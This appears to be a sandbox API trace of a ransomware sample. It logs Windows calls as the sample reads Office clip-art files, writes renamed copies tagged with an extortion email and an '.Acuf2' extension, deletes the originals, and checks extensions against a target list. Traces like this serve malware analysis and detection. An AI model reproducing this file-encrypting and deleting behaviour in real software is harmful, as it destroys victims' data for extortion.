	[0272.704] SetEndOfFile (hFile=0x358) returned 1
	[0272.706] CloseHandle (hObject=0x358) returned 1
	[0272.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1
	[0272.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString=".doc") returned 4
	[0272.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString=".docx") returned 5
	[0272.707] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.707] lstrlenW (lpString=".pdf") returned 4
	[0272.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString=".xls") returned 4
	[0272.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.707] lstrlenW (lpString=".xlsx") returned 5
	[0272.707] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.707] lstrlenW (lpString=".ppt") returned 4
	[0272.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString=".zip") returned 4
	[0272.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.707] lstrlenW (lpString=".rar") returned 4
	[0272.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString=".bz2") returned 4
	[0272.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString=".7z") returned 3
	[0272.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString=".dbf") returned 4
	[0272.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString=".1cd") returned 4
	[0272.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63
	[0272.707] lstrlenW (lpString=".jpg") returned 4
	[0272.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.708] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5504) returned 1
	[0272.708] CloseHandle (hObject=0x358) returned 1
	[0272.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20
	[0272.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.708] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.708] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.709] GetLastError () returned 0x0
	[0272.709] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1580, lpOverlapped=0x0) returned 1
	[0272.710] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1590, lpOverlapped=0x0) returned 1
	[0272.711] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.711] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.711] SetEndOfFile (hFile=0x334) returned 1
	[0272.711] CloseHandle (hObject=0x334) returned 1
	[0272.711] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.711] SetEndOfFile (hFile=0x358) returned 1
	[0272.713] CloseHandle (hObject=0x358) returned 1
	[0272.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1
	[0272.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.714] lstrlenW (lpString=".doc") returned 4
	[0272.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.714] lstrlenW (lpString=".docx") returned 5
	[0272.714] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0272.714] lstrlenW (lpString=".pdf") returned 4
	[0272.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.714] lstrlenW (lpString=".xls") returned 4
	[0272.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.714] lstrlenW (lpString=".xlsx") returned 5
	[0272.714] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0272.714] lstrlenW (lpString=".ppt") returned 4
	[0272.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.714] lstrlenW (lpString=".zip") returned 4
	[0272.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.715] lstrlenW (lpString=".rar") returned 4
	[0272.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.715] lstrlenW (lpString=".bz2") returned 4
	[0272.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.715] lstrlenW (lpString=".7z") returned 3
	[0272.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.715] lstrlenW (lpString=".dbf") returned 4
	[0272.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.715] lstrlenW (lpString=".1cd") returned 4
	[0272.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63
	[0272.715] lstrlenW (lpString=".jpg") returned 4
	[0272.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.716] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6320) returned 1
	[0272.716] CloseHandle (hObject=0x358) returned 1
	[0272.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20
	[0272.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.717] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.717] GetLastError () returned 0x0
	[0272.717] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x18b0, lpOverlapped=0x0) returned 1
	[0272.907] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x18c0, lpOverlapped=0x0) returned 1
	[0272.952] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.952] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.952] SetEndOfFile (hFile=0x334) returned 1
	[0273.155] CloseHandle (hObject=0x334) returned 1
	[0273.155] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.155] SetEndOfFile (hFile=0x358) returned 1
	[0273.157] CloseHandle (hObject=0x358) returned 1
	[0273.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 1
	[0273.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.264] lstrlenW (lpString=".doc") returned 4
	[0273.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.264] lstrlenW (lpString=".docx") returned 5
	[0273.264] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0273.264] lstrlenW (lpString=".pdf") returned 4
	[0273.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.264] lstrlenW (lpString=".xls") returned 4
	[0273.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.264] lstrlenW (lpString=".xlsx") returned 5
	[0273.264] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0273.264] lstrlenW (lpString=".ppt") returned 4
	[0273.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.264] lstrlenW (lpString=".zip") returned 4
	[0273.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.264] lstrlenW (lpString=".rar") returned 4
	[0273.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.264] lstrlenW (lpString=".bz2") returned 4
	[0273.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.264] lstrlenW (lpString=".7z") returned 3
	[0273.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.264] lstrlenW (lpString=".dbf") returned 4
	[0273.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.265] lstrlenW (lpString=".1cd") returned 4
	[0273.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63
	[0273.265] lstrlenW (lpString=".jpg") returned 4
	[0273.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.276] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=8252) returned 1
	[0273.276] CloseHandle (hObject=0x388) returned 1
	[0273.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20
	[0273.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0273.404] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.404] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0273.405] GetLastError () returned 0x0
	[0273.405] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x203c, lpOverlapped=0x0) returned 1
	[0273.429] WriteFile (in: hFile=0x36c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2040, lpOverlapped=0x0) returned 1
	[0273.430] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.430] WriteFile (in: hFile=0x36c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.430] SetEndOfFile (hFile=0x36c) returned 1
	[0273.431] CloseHandle (hObject=0x36c) returned 1
	[0273.431] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.431] SetEndOfFile (hFile=0x28c) returned 1
	[0273.433] CloseHandle (hObject=0x28c) returned 1
	[0273.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1
	[0273.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.433] lstrlenW (lpString=".doc") returned 4
	[0273.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.433] lstrlenW (lpString=".docx") returned 5
	[0273.433] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0273.433] lstrlenW (lpString=".pdf") returned 4
	[0273.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.433] lstrlenW (lpString=".xls") returned 4
	[0273.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.433] lstrlenW (lpString=".xlsx") returned 5
	[0273.433] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0273.433] lstrlenW (lpString=".ppt") returned 4
	[0273.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.434] lstrlenW (lpString=".zip") returned 4
	[0273.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.434] lstrlenW (lpString=".rar") returned 4
	[0273.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.434] lstrlenW (lpString=".bz2") returned 4
	[0273.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.434] lstrlenW (lpString=".7z") returned 3
	[0273.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.434] lstrlenW (lpString=".dbf") returned 4
	[0273.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.434] lstrlenW (lpString=".1cd") returned 4
	[0273.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63
	[0273.434] lstrlenW (lpString=".jpg") returned 4
	[0273.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.441] GetLastError () returned 0x0
	[0273.441] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1034, lpOverlapped=0x0) returned 1
	[0273.443] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1040, lpOverlapped=0x0) returned 1
	[0273.444] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.444] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.444] SetEndOfFile (hFile=0x358) returned 1
	[0273.444] CloseHandle (hObject=0x358) returned 1
	[0273.444] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.444] SetEndOfFile (hFile=0x218) returned 1
	[0273.446] CloseHandle (hObject=0x218) returned 1
	[0273.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1
	[0273.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.447] lstrlenW (lpString=".doc") returned 4
	[0273.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString=".docx") returned 5
	[0273.447] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0273.447] lstrlenW (lpString=".pdf") returned 4
	[0273.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString=".xls") returned 4
	[0273.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.447] lstrlenW (lpString=".xlsx") returned 5
	[0273.447] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0273.447] lstrlenW (lpString=".ppt") returned 4
	[0273.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.447] lstrlenW (lpString=".zip") returned 4
	[0273.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.447] lstrlenW (lpString=".rar") returned 4
	[0273.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString=".bz2") returned 4
	[0273.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString=".7z") returned 3
	[0273.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.447] lstrlenW (lpString=".dbf") returned 4
	[0273.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.447] lstrlenW (lpString=".1cd") returned 4
	[0273.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63
	[0273.447] lstrlenW (lpString=".jpg") returned 4
	[0273.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.448] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2912) returned 1
	[0273.448] CloseHandle (hObject=0x218) returned 1
	[0273.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20
	[0273.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
